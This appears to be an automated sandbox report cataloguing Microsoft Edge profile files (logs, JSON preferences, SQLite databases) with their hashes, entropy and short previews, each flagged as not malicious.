Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.132903670917765
Encrypted:	false
SSDEEP:	6:HUWWW3+q2P923oH+Tcwt8a2jMGIFUt8YUWYmGAWZmw+YUWuiVkwO923oH+Tcwt8N:/WW3+v4Yeb8EFUt8U0/+UpV5LYeb8bJ
MD5:	04A505E023BF3CAABF8AE9AD41ADA185
SHA1:	0FB529F5D2A191B95608ED7ECBDA34B55130F925
SHA-256:	CA04B9B573D2D6C2F17FDB8881C9F37DDC0E0EB71C5DEAD12D145C8F52C268D9
SHA-512:	0C12D58DA18F52582430FA43FC86C875BD89AF45A58035D459B0A76D8B4A8891046AB08506146C1C45FF13F37C48CA64DE1D039DF9222057D76B27FA6DB2B588
Malicious:	false
Preview:	2024/11/11-15:59:13.209 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-15:59:13.211 180c Recovering log #3.2024/11/11-15:59:13.216 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.132903670917765
Encrypted:	false
SSDEEP:	6:HUWWW3+q2P923oH+Tcwt8a2jMGIFUt8YUWYmGAWZmw+YUWuiVkwO923oH+Tcwt8N:/WW3+v4Yeb8EFUt8U0/+UpV5LYeb8bJ
MD5:	04A505E023BF3CAABF8AE9AD41ADA185
SHA1:	0FB529F5D2A191B95608ED7ECBDA34B55130F925
SHA-256:	CA04B9B573D2D6C2F17FDB8881C9F37DDC0E0EB71C5DEAD12D145C8F52C268D9
SHA-512:	0C12D58DA18F52582430FA43FC86C875BD89AF45A58035D459B0A76D8B4A8891046AB08506146C1C45FF13F37C48CA64DE1D039DF9222057D76B27FA6DB2B588
Malicious:	false
Preview:	2024/11/11-15:59:13.209 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-15:59:13.211 180c Recovering log #3.2024/11/11-15:59:13.216 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1f069596-4049-483d-8670-b18839b57861.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\318c478f-80d1-40e3-9216-f8ad7b0fca68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3ea8bf75-6ca9-4867-8761-ee3a340574bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\511315ff-c603-4fc1-a03a-c01c03fcfa4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1877
Entropy (8bit):	5.315374246200104
Encrypted:	false
SSDEEP:	48:YcgCzsStsLfcKseC9Rs/WleeBkEsubCgHP/bxo+:FN4NYFkeBkcTnVo+
MD5:	95195064E3E424DE5A656F2C2370443A
SHA1:	F080204B24BCB103B3BF4E71AE1AF60C4639707B
SHA-256:	38BE60C5DE51195BA9AE4C868FCCDCED0DB6F0E928A011D37B2733194004BBDD
SHA-512:	5834FB641E48887033D6960F31A3C3EC2AA486EC9013E863F14370FC223EBB5EDEA84DCEEDE490DE0509B086538ED8D4DDC70A0F981DC802C63E4427E3BF13DA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378424354882565","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378424358860832","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375918758999527","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets2.msn.com"},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"ht

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7692805060923527
Encrypted:	false
SSDEEP:	96:te+AuDUe8eTAZCJgxZSAc3VH540ggiciR9Ak5i8BXckO0L/ZJV8Y:tTDUe8M2vxZLCV6vR3dXcf0L/ZJVb
MD5:	79CCAF4DCE38DA2D839A9827CD77CE4E
SHA1:	B1F37705E27BD2B486605569619A3ADC39DC9CAB
SHA-256:	8A209D728D6B289EC7FD583833D71D1BF17F1EAB435171DD55206DCC7E52AF16
SHA-512:	CFC7BEC0F0D212EA307D26FA3300E5D4E6E37C23329E0B0B0F0454244A7E1DB4BB7D7FF10B5A8C00AB61397CD2731F84EF652BCFB23340DACEEDA5125F8601DC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	5.315374246200104
Encrypted:	false
SSDEEP:	48:YcgCzsStsLfcKseC9Rs/WleeBkEsubCgHP/bxo+:FN4NYFkeBkcTnVo+
MD5:	95195064E3E424DE5A656F2C2370443A
SHA1:	F080204B24BCB103B3BF4E71AE1AF60C4639707B
SHA-256:	38BE60C5DE51195BA9AE4C868FCCDCED0DB6F0E928A011D37B2733194004BBDD
SHA-512:	5834FB641E48887033D6960F31A3C3EC2AA486EC9013E863F14370FC223EBB5EDEA84DCEEDE490DE0509B086538ED8D4DDC70A0F981DC802C63E4427E3BF13DA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378424354882565","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378424358860832","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375918758999527","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets2.msn.com"},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"ht

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4855259845668736
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBwWS:uIEumQv8m1ccnvS6ZoPWvyH9hcOf
MD5:	960F9BBD98A096B442B95E1376D0C103
SHA1:	ADDD9C02E81CAC8EE1DF72571A39006B724BEA55
SHA-256:	EA0925425A9B94FC6CF411D2CD7C03182918E0C0441EC8BA885238F34F66E440
SHA-512:	6B98B5BF39A1EB987E9C5D9D0CF299B08B647E9AE2E7948C3F2E9AA51E6F662D9A88689F54DC33FE9ED217863667654CA28CA6599B5DDE7FF2FF31425E7BF543
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF376f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38f02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF394ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ed9551c0-16ce-43ac-ae59-e3419c50384f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13675
Entropy (8bit):	5.431498633828375
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhPmBTPhJz6wPYmZNbGJQwv6WDaTYx:s/1/f46wPXZNbGaIPaTYx
MD5:	4F078CDEFC98B6CAB49FD6F2C6C337FA
SHA1:	F447346DC4D6BE0A971F1BC2FEFFF803D7C4F9FA
SHA-256:	24B83DD305E56541F526B330F8A68BD51776E22231CA562E2279B720004DCD84
SHA-512:	03795E975C6BC6A508A6E344F61B83143A92DEDD93803C91966625FC36ED9B689631CC333F15C198452801302BC64269CB113A9A7E1C0C31F04251D61E3E0DA4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3b44d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13675
Entropy (8bit):	5.431498633828375
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhPmBTPhJz6wPYmZNbGJQwv6WDaTYx:s/1/f46wPXZNbGaIPaTYx
MD5:	4F078CDEFC98B6CAB49FD6F2C6C337FA
SHA1:	F447346DC4D6BE0A971F1BC2FEFFF803D7C4F9FA
SHA-256:	24B83DD305E56541F526B330F8A68BD51776E22231CA562E2279B720004DCD84
SHA-512:	03795E975C6BC6A508A6E344F61B83143A92DEDD93803C91966625FC36ED9B689631CC333F15C198452801302BC64269CB113A9A7E1C0C31F04251D61E3E0DA4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fca1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13675
Entropy (8bit):	5.431498633828375
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhPmBTPhJz6wPYmZNbGJQwv6WDaTYx:s/1/f46wPXZNbGaIPaTYx
MD5:	4F078CDEFC98B6CAB49FD6F2C6C337FA
SHA1:	F447346DC4D6BE0A971F1BC2FEFFF803D7C4F9FA
SHA-256:	24B83DD305E56541F526B330F8A68BD51776E22231CA562E2279B720004DCD84
SHA-512:	03795E975C6BC6A508A6E344F61B83143A92DEDD93803C91966625FC36ED9B689631CC333F15C198452801302BC64269CB113A9A7E1C0C31F04251D61E3E0DA4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF471d1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13675
Entropy (8bit):	5.431498633828375
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhPmBTPhJz6wPYmZNbGJQwv6WDaTYx:s/1/f46wPXZNbGaIPaTYx
MD5:	4F078CDEFC98B6CAB49FD6F2C6C337FA
SHA1:	F447346DC4D6BE0A971F1BC2FEFFF803D7C4F9FA
SHA-256:	24B83DD305E56541F526B330F8A68BD51776E22231CA562E2279B720004DCD84
SHA-512:	03795E975C6BC6A508A6E344F61B83143A92DEDD93803C91966625FC36ED9B689631CC333F15C198452801302BC64269CB113A9A7E1C0C31F04251D61E3E0DA4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672514978815455
Encrypted:	false
SSDEEP:	768:zsDd4eWPysfax8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjuzKCrwNTp3tu4:zsDd4eWPysfaxu1ja6aKnztT
MD5:	4A8F771C308DB2F72FC0F57F55768769
SHA1:	9AC1A86BF200E5B4332746B35820EE662631A4D7
SHA-256:	89F648B0B6F3E19730D8BA3549B2666D238959A53770A752E977BFAE2D830B92
SHA-512:	13EBB1CCDB6DF51B308437756A0BE809CCA1B406D4224C063216CBE6CCE4F433FE74B6CE6642A062A2FEA8504AFB3674099EB1A062E01EFED2C77C87A5BF0940
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375832352693332","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375832352693332","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3b19e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672514978815455
Encrypted:	false
SSDEEP:	768:zsDd4eWPysfax8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjuzKCrwNTp3tu4:zsDd4eWPysfaxu1ja6aKnztT
MD5:	4A8F771C308DB2F72FC0F57F55768769
SHA1:	9AC1A86BF200E5B4332746B35820EE662631A4D7
SHA-256:	89F648B0B6F3E19730D8BA3549B2666D238959A53770A752E977BFAE2D830B92
SHA-512:	13EBB1CCDB6DF51B308437756A0BE809CCA1B406D4224C063216CBE6CCE4F433FE74B6CE6642A062A2FEA8504AFB3674099EB1A062E01EFED2C77C87A5BF0940
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375832352693332","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375832352693332","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840333880954563
Encrypted:	false
SSDEEP:	24:F2xc5Nm2cncmo0CRORpllg2D2kSfRHxZVdCRORpllg2Zt/xKCRORpllg2D2ktRHQ:F2emHtrdD+fBRXrdZBErdDhB7GrdOBA
MD5:	C969A45755A925386857E79B354710FD
SHA1:	221F1BAF1BF310E9F125310F1D63C9472F1711B6
SHA-256:	0D07C0D71C11C7EC0E289AE0BACB5CF4BECF671102CFC90B3E52CA51F69F4AE6
